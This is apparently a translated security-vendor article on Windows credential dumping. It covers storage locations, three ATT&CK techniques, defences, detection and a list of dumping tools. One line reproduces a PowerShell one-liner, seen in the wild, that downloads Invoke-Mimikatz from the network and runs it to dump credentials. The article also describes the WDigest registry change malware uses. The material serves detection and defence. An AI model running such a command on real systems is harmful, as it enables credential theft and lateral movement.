攻擊與防御的雙刃劍:探索操作系統(tǒng)憑據(jù)轉儲的兩面性
簡介
在這篇文章中,我們將介紹Windows憑據(jù)的巧妙用處。具體而言,我們將重點介紹一種名為“操作系統(tǒng)憑據(jù)轉儲”的技術。本質上,如果威脅已經(jīng)在我們的環(huán)境中實現(xiàn)了橫向移動,那么其背后的威脅執(zhí)行者很有可能已經(jīng)執(zhí)行了某種類型的憑據(jù)轉儲,以允許它們在系統(tǒng)之間跳轉。因此,掌握如何檢測并防范這類技術就顯得至關重要。
如果大家熟悉MITRE ATT&CK框架,可能會產(chǎn)生疑問:“這類攻擊技術的名稱實際上應該叫做憑據(jù)轉儲?”確實是這樣的,但由于該類別中記錄的技術數(shù)量仍然在不斷增加,MITRE決定將所有知識庫都分解為子技術。現(xiàn)在,我們?nèi)匀豢梢栽?ldquo;憑據(jù)訪問”的頁面中找到該特定技術,但是目前已經(jīng)更新了其包含的八項子技術。我們并不會在這篇文章中涉及到所有這些內(nèi)容,而是將重點關注與Windows相關的三個技術。
關于Windows憑據(jù)
Windows操作系統(tǒng)會在許多不同的位置上存儲或緩存其憑據(jù)。下面是其存儲的某些Windows憑據(jù)類型,以及可以找到這些憑據(jù)的位置:
1、安全帳戶管理器(SAM)數(shù)據(jù)庫
SAM數(shù)據(jù)庫是所有Windows系統(tǒng)上都存在的文件。該文件包含所有創(chuàng)建的帳戶,以及在Windows操作系統(tǒng)(XP、Vista、Win7、Win8.1、Win10)上存在的所有內(nèi)置帳戶。在這里,密碼是以哈希值(NT密碼哈希)形式存儲的。
2、其他文件
我們也可以在各種文件中找到密碼,其中包括配置文件和用戶創(chuàng)建的文件(通常為純文本)。某些日志文件可能包含憑據(jù)信息,例如安裝程序日志,有時還可以在崩潰報告中找到它們。
3、緩存的憑據(jù)
域憑據(jù)被存儲在注冊表中,以允許用戶在未連接到域時能夠登錄其系統(tǒng)。Windows系統(tǒng)會緩存最后10個登錄哈希,默認情況下一些位置最多可以存儲25個。這個數(shù)字可以在注冊表中配置。
4、本地安全授權機構(LSA)
LSA Secrets存儲在注冊表中,并允許服務以用戶權限運行。這些服務包括VPN、計劃任務、自動登錄、備份服務器帳戶、IIS網(wǎng)站等。它們以加密的形式保存在“Security/Policy/Secrets”注冊表中。
5、本地安全機構子系統(tǒng)服務進程(LSASS)
在本地或域中登錄Windows計算機時,憑據(jù)將會存儲在LSASS進程的內(nèi)存中。這主要是用于允許用戶訪問其有權訪問的網(wǎng)絡上的其他資源,而不必再重新進行身份驗證。存儲的格式可以是純文本、NT和LM哈希以及Kerberos Ticket。
6、憑據(jù)存儲管理器
該管理器適用于Windows 7和更高版本。它基本上是一個數(shù)字保險庫,讓用戶可以“安全地”存儲用戶憑據(jù)。所有憑據(jù)都存儲在Windows系統(tǒng)的特定文件夾中。Windows和Web憑據(jù)都可以存儲在這里。
7、活動目錄域數(shù)據(jù)庫(NTDS.DIT)
該數(shù)據(jù)庫存儲位于活動目錄域環(huán)境中的每個活動目錄域控制器服務器上的用戶和計算機的所有憑據(jù),即%SystemRoot%\NTDS文件夾。
操作系統(tǒng)憑據(jù)轉儲的攻擊技術
如我們所見,Windows操作系統(tǒng)會將憑據(jù)存儲在各種位置,并且以各種格式進行存儲,這就導致攻擊者在入侵憑據(jù)時可以選擇多種方式。
正如我們之前所提到的,憑據(jù)轉儲攻擊通常是攻擊者所使用一系列技術中的第一種技術,目的是讓威脅行為者能夠在環(huán)境中橫向移動。一旦獲得了正確的訪問權限,攻擊者就可以找到如何將惡意Payload復制到系統(tǒng)的方式,并找到遠程執(zhí)行該Payload的方法。隨后,攻擊者將致力于重復相同的步驟,以感染更多的主機。這可能會是一個人工的過程,但大多數(shù)情況下攻擊者都會選擇自動化的實現(xiàn)方式。
之所以要特別提及這一點,是因為如果我們在實際應急過程中發(fā)現(xiàn)了本文討論的任何憑據(jù)轉儲技術,那么就非常有必要在接下來的兩個橫向移動步驟中尋找其他證據(jù)。
其中的一種方式是查看日志,查看是否有Psexec.exe和Psexesvc.exe被用于遠程復制和執(zhí)行惡意軟件的跡象。Psexec時Microsoft Sysinternals工具,用于在其他系統(tǒng)上復制和執(zhí)行進程或文件,這個工具對于遠程管理來說非常有用。威脅參與者還會利用該工具,通過SMB惡意軟件將其復制到遠程系統(tǒng)功能并執(zhí)行。我之所以重點強調(diào)psexecsvc.exe文件的原因在于,當psexec.exe運行時,它會將psexecsvc.exe文件復制到遠程系統(tǒng),然后將其作為服務啟動。需要注意的是,當我們在尋找該活動時,可以重點關注發(fā)送惡意文件的主機使用psexec.exe且接收并執(zhí)行惡意文件的主機使用psexecsvc.exe的情況,這是一個比較典型的特征。
如果大家想要了解有關橫向移動三個步驟的更多信息,請閱讀2018年的《Thrip ATP攻擊更新》文章?,F(xiàn)在,我們將目光重新聚焦到憑據(jù)轉儲技術上來。
使用PsExec命令復制和執(zhí)行文件:
根據(jù)MITRE ATT&CK知識庫,存在8種不同的操作系統(tǒng)憑據(jù)轉儲技術。但是,由于本文的篇幅所限,我們將僅討論與Windows相關的三種技術。
攻擊技術1:緩存域憑據(jù)
正如前面所提到過的,Windows操作系統(tǒng)在配置為登錄到活動目錄(AD)域時,系統(tǒng)會最多可以存儲最后25個登錄憑據(jù)(取決于操作系統(tǒng)版本,默認配置可以進行調(diào)整),因此在無法連接到AD域時,我們?nèi)匀豢梢缘卿?。值得關注的是,這些緩存的憑據(jù)在重啟之后不會消失。這些憑據(jù)是持久性的,它們以Mscach2格式存儲在注冊表(HKLM\Security hive)中。
我們可以使用多種工具從注冊表中提取緩存的憑據(jù),例如cachedump、Metasploit、PWDumpx和creddump。如果攻擊者成功轉儲了緩存的憑據(jù),接下來他們需要使用密碼破解工具(例如預先計算的彩虹表,或者John Ripper)對哈希值進行暴力破解,以獲取到真實密碼,這也是登錄到另一個系統(tǒng)所必須的。最后,如果要提取緩存的域憑據(jù),攻擊者還需要具有SYSTEM權限。
攻擊技術2:LSASS內(nèi)存
由于例如NT/LM和Kerberos Tickets之類的哈希憑據(jù)都存儲在內(nèi)存中,也就是LSASS進程中,因此具有相應級別訪問權限(Administrative)的威脅行為者可以使用各類免費提供的工具來轉儲哈希值,這些工具包括Mimikatz和Windows憑據(jù)編輯器。
在內(nèi)存中,也有可能很容易地找到TsPkg、WDigest和LiveSSP。這些可以很容易地進行解密,從而得到純文本密碼。我們可以在這里找到更多信息。
與緩存的域憑據(jù)不同,一旦用戶注銷登錄后,內(nèi)存中的哈希值將不再存在。在某些情況下,由于應用程序或進程仍然在使用哈希值,因此用戶注銷登錄后哈希值可能會仍然可用。但是,在大多數(shù)情況下,攻擊者必須在用戶已經(jīng)登錄的情況下才能竊取其憑據(jù)。因此,這提醒我們在日常使用計算機時不應該以管理員(特別是域管理員)身份登錄。如果在域管理員登錄期間攻擊者成功實現(xiàn)了攻擊,那么攻擊者將能夠獲得指向整個域的密鑰。
此外,這些轉儲的哈??梢杂糜谠跓o需暴力破解的情況下驗證另一個系統(tǒng)的純文本密碼,這種技術被稱為“哈希傳遞”。這種類型的攻擊僅適用于NTLM身份驗證,但是目前的很多現(xiàn)代系統(tǒng)中都有可用的NTLM身份驗證方式。我們將在后文的視頻中,演示如何復現(xiàn)“哈希傳遞”技術。
攻擊技術3:NTDS
當攻擊者在環(huán)境中建立初始立足點時,他們通常會尋找具有域控制器(DC)角色的服務器。這是因為,每個DC上存在NTDS.DIT文件包含所有用戶和計算機帳戶的哈希值。如果攻擊者掌握了這些信息,他們將可以自由控制AD域之中的所有資源。
數(shù)據(jù)庫中包含的哈希值為NT格式,但也可能是LM格式的哈希值,具體取決于所使用系統(tǒng)的版本。此外,NTDS.DIT文件中還提供了密碼歷史記錄。
要進行訪問,攻擊者需要域訪問權限。這也意味著,如果攻擊者成功獲取了這一權限,我們就暴露在了較大的風險之中。由于文件正在使用中,因此提取憑據(jù)的過程比較困難,該文件會被鎖定。隨后,攻擊者需要對磁盤本身的原始訪問權限,這可以通過驅動程序來完成。另外,一些攻擊者可以通過卷影副本來獲取這一文件。
近期,勒索軟件日益流行,我們可能已經(jīng)接觸過很多攻擊者刪除卷影副本的案例。FortiGuard Labs曾發(fā)表過一篇非常不錯的文章,名為《Stomping Shadow Copies》,其中討論了用于實現(xiàn)此目標的不同方法。但是,在我們的攻擊場景中,攻擊者將要提取卷影副本,或者如果發(fā)現(xiàn)其不存在將會創(chuàng)建一個卷影副本。對攻擊者而言的另一個障礙是,他們還需要收集SAM和SYSTEM注冊表信息,以解密NTDS數(shù)據(jù)庫中的內(nèi)容。
我們在這里僅僅討論了其中的三種技術策略,但大家可以想象,基于Windows中存儲憑據(jù)位置的不同,攻擊者還可能會有更多用于竊取憑據(jù)的方法。
操作系統(tǒng)憑據(jù)轉儲的防御技術
除了選擇一些可靠廠商的工具,我們還可以通過進行一些配置來實現(xiàn)上述攻擊的防御。
1、限制管理員訪問權限
攻擊者所使用的許多技術都需要管理員或者域管理員特權才能執(zhí)行。因此,我們需要確保每個用戶都以普通用戶的身份登錄,這將有助于防御這些攻擊。
2、使用唯一的本地管理員帳戶密碼
如果我們在所有工作站上使用相同的本地管理員帳戶密碼,那么攻擊者只需要攻破其中一個帳戶,就可以獲得其他帳戶的管理員訪問權限。要防范這一點,可以使用唯一的本地管理員密碼來進行限制,從而使攻擊者難以實現(xiàn)橫向移動。為此,可以嘗試使用Microsoft的本地管理員密碼解決方案(LAPS)。這是一個密碼管理器,利用活動目錄來管理和輪換工作站上本地管理員帳戶的密碼。
3、避免將高特權帳戶用于遠程交互式會話
當我們以交互方式登錄Windows設備(控制臺登錄、RDP或runas)時,哈希值將會出現(xiàn)在內(nèi)存中,特別是在服務器上。因此,需要在這一方面盡可能的加以限制。
4、使用Credential Guard
這是Windows 10中引入的一項新功能,可以通過虛擬化隔離LSASS進程。從原理上說,它是在一個虛擬容器中運行,該容器創(chuàng)建名為LSAIso的代理,以允許與隔離的LSASS進程進行通信。值得注意的是,即使具有管理員權限,我們也無法利用這個保護來轉儲憑據(jù)。這可能是針對操作系統(tǒng)憑據(jù)轉儲的最有效防御方式之一。
5、限制緩存登錄帳戶的數(shù)量
對于緩存的帳戶,可以對存儲在注冊表中的登錄數(shù)量進行限制。這并不是一個完美的解決方案,但確實有幫助。
6、實施嚴格的密碼策略(長度和復雜性)
如果憑據(jù)被盜,并且需要離線解密,則密碼越長越復雜,成功破解它們所花費的時間就越長。
需要注意的是,上述的所有防御措施都可以被繞過,包括Credential Guard,但在我們應用上述緩解措施之后,會使攻擊者的攻擊過程更加困難。
實際案例與檢測
如今的威脅行為者越來越多地使用上述技術來竊取操作系統(tǒng)憑據(jù)。由于有很多不同的開源工具可以竊取操作系統(tǒng)密碼,因此許多威脅參與者都會選擇使用開源版本,而不再自行開發(fā)工具。下面的第一個示例來自于FortiGuard Labs發(fā)布的一篇文章,標題為《新型Trickbot插件從SQL Server、ScreenLocker模塊中獲取電子郵件地址》,該文章發(fā)表于2018年。Trickbot正在使用Mimikatz(一種開源工具)從內(nèi)存中的LSASS進程提取密碼。具體而言,它試圖竊取純文本形式的WDigest憑據(jù)。
但是,其中存在的挑戰(zhàn)在于,自Windows 8.1發(fā)布開始,Microsoft引入了一種緩解攻擊的方法,方法是創(chuàng)建一個可以在新注冊表項中設置的開關,以防止憑據(jù)存儲在內(nèi)存中。
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
如果將注冊表值設置為“0”,則可以禁用內(nèi)存中的憑據(jù)。如果將其設置為“1”,則某些服務將依賴WDigest身份驗證。為了解決這個問題,該惡意軟件會確保將注冊表值設置為“1”,從而啟用WDigest身份驗證。下圖是從文章中摘錄的內(nèi)容。
惡意軟件修改注冊表設置以啟用WDigest身份驗證:
盡管該活動很容易執(zhí)行,但是這個設置需要等到用戶再次登錄后才能生效。攻擊者想到的解決方案是鎖定屏幕并強制用戶再次提供該憑據(jù)。由于限制已經(jīng)將注冊表值設置為“啟用WDigest身份驗證”,因此憑據(jù)就會存儲在內(nèi)存中,可以由攻擊者借助Mimikatz工具來提取。下圖展示了這一過程。
操作系統(tǒng)檢查并鎖定屏幕例程:
ScreenLocker模塊的主要函數(shù)鎖定用戶的屏幕:
函數(shù)加載并執(zhí)行內(nèi)存中的Mimikatz庫以提取憑據(jù):
在另一個示例中,我們看到威脅參與者有時會使用后漏洞利用框架工具,該工具中包含各種開源模塊,例如PowerShell Empire。盡管該開源項目已經(jīng)不再維護,但仍然可以使用。FortiResponder團隊此前曾經(jīng)在野外看到過這種利用方式,而調(diào)用Mimikatz的PowerShell腳本可能如下所示:
- PS C:\Windows\\\\system32> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/E
- mpire/7a39a55f127b1aeb951b3d9d80c6dc64500cacb5/data/module_source/credentials/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds; $m
我們可以看到,該內(nèi)容已經(jīng)超出了GitHub項目中原本執(zhí)行PowerShell腳本以運行Mimikatz的方法。我們的FortiEDR技術通??梢宰柚乖摽梢蛇M程與目標的通信,如下圖所示。
FortiEDR阻止來自可疑應用程序的通信:
由于許多開源工具被惡意軟件廣泛使用,因此如果我們能夠識別出這些免費工具并加以阻斷,也會起到一定的防御作用。使用FortiEDR,我們可以在執(zhí)行前和執(zhí)行后進行阻斷,包括對Mimikatz的使用進行阻斷,如下圖所示。
FortiEDR在執(zhí)行前阻止Mimikatz.exe:
FortiEDR在執(zhí)行后阻止Mimikatz工具:
像往常一樣,我們的FortiSIEM客戶還可以借助許多預定義的規(guī)則來檢測操作系統(tǒng)憑據(jù)轉儲,包括使用高級Windows代理的LSASS進程篡改技術,以及檢測卷影副本的可疑活動,這將幫助我們發(fā)現(xiàn)攻擊者從NTDS.dit文件中竊取憑據(jù)的嘗試。下面是LSASS規(guī)則和檢測日志的示例,以及所使用的MITRE ATT&CK戰(zhàn)術和技術的概述圖。如果能有效地將技術鏈組合在一起,將會非常有幫助。
FortiSIEM針對LSASS進程篡改的規(guī)則:
在LSASS篡改時觸發(fā)的FortiSIEM事件:
FortiSIEM MITRE ATT&CK戰(zhàn)術視圖:
我們的檢測始終圍繞在惡意軟件使用嵌入式開源工具的事件上,如果我們懷疑可能存在操作系統(tǒng)憑據(jù)轉儲的事件,還可以在Windows事件查看器中檢查一些條目。
1、查找創(chuàng)建的新進程 – 事件ID 4688
在這個事件記錄中,查找攻擊者可能會使用的各種開源工具是否存在,包括:Mimikatz、PWdumpX、Creddump、Windows Credential Editor (WCE)、Cachedump、Metasploit、NTDSXtract、Ntdsdump和Vssown。
有很多資源可以檢查用于憑據(jù)轉儲的工具,例如:https://pentestlab.blog/tag/vssown/。
2、檢查LSASS進程
對這一進程進行檢查,以尋找其中是否存在可能表明試圖從內(nèi)存中竊取憑據(jù)的任何篡改。
3、檢查Vssadmin的使用
由于Vssadmin可以用于管理卷影副本,因此可以檢查該可執(zhí)行文件的任何活動跡象。例如,攻擊者可能創(chuàng)建卷影副本,并安裝NTDS.DIT文件。
攻擊與防御技術復現(xiàn)
如果要嘗試模擬操作系統(tǒng)憑據(jù)轉儲技術,可能需要花費一些時間,因為有多種技術和工具可以用于實現(xiàn)操作系統(tǒng)憑據(jù)竊取。根據(jù)我們的經(jīng)驗,由于這些工具所使用的名稱可以輕易地被攻擊者修改,因此不建議將檢測過程關注的重點放在工具名稱上面,而是建議更加關注這類工具所產(chǎn)生的活動,我們要找到本質上更加傾向于靜態(tài)的活動。以下我們將介紹一些可以用于攻擊技術復現(xiàn)的模擬和開源工具。
攻擊模擬工具
Atomic Red Team是一個用于測試MITRE ATT&CK技術的優(yōu)秀工具,下面展示了Atomic Tests的列表。
Atomic技術測試列表:
開源防御測試工具
目前,有很多可以用來模擬操作系統(tǒng)憑據(jù)轉儲防御的開源工具。我們在上文中也提及了其中的一些工具,在這里將再次列出:
- Metasploit
- Mimikatz
- Fgdump
- Gsecdump
- PWDumpX
- Creddump
- WCE
- Cachedump
- NTDSXtract
- Ntdsdump
- VssOwn.vbs
作為一個簡單的示例,我錄制了下面的兩個視頻。第一個視頻展示了如何使用名為hashdump的簡單工具,這是Metasploit meterpreter中的一部分,因此我們需要借助meterpreter會話和系統(tǒng)特權,在復現(xiàn)的計算機上建立立足點。該工具將會從SAM數(shù)據(jù)庫中轉儲信息,例如憑據(jù)哈希。而第二個視頻展示了如何尋找環(huán)境中存在的其他可用系統(tǒng),以及如何利用哈希傳遞技術利用竊取到的憑據(jù)橫向移動到其他系統(tǒng)上。
演示視頻1:https://youtu.be/FSdZ2I3au3M
演示視頻2:https://youtu.be/C17S3JnCGCM
總結
在本文中,我們重點介紹了攻擊者可以用于竊取操作系統(tǒng)憑據(jù)的一些技術。正如我在文章中所提到的,我們必須注意,得到正確的憑據(jù)往往是攻擊者在環(huán)境中橫向移動的必要條件。因此,為了防御此類工具,我們首先需要對安全產(chǎn)品進行測試,確保其可以防范或檢測到可能導致進一步攻陷其他環(huán)境的任何技術。同時,如今流行的惡意軟件中也嵌入了許多開源工具,因此我們也必須熟悉這些工具,以盡可能發(fā)現(xiàn)它們可能存在于系統(tǒng)中的細小跡象。
我們在這一系列的前序文章中說過,在測試每一種操作系統(tǒng)憑據(jù)轉儲技術的過程中,我們不僅需要了解該技術,還要能夠復現(xiàn)該技術,這一點至關重要。在完成了這個步驟之后,我們需要監(jiān)控我們的安全控制措施,評估是否存在任何差距,并記錄所需的改進,隨后再執(zhí)行落地。
解決方案和緩解措施
首先,建議及時更新威脅的最新動態(tài),為實現(xiàn)這一點,可以隨時向咨詢合作伙伴或供應商尋求幫助,以確保擁有合適的安全控制措施和安全服務,以應對最新的威脅。
用戶可以部署EDR、MDR、UEBA等解決方案,從而識別這些風險,并識別相關的惡意活動。同時,也可以使用解決方案來檢測網(wǎng)絡內(nèi)部的橫向移動。
了解有關威脅研究、安全訂閱和服務產(chǎn)品組合的更多信息,用戶可以訂閱我們每周的威脅簡報。
了解有關網(wǎng)絡安全培訓計劃或網(wǎng)絡專家計劃,從而加強安全能力培訓和安全意識教育。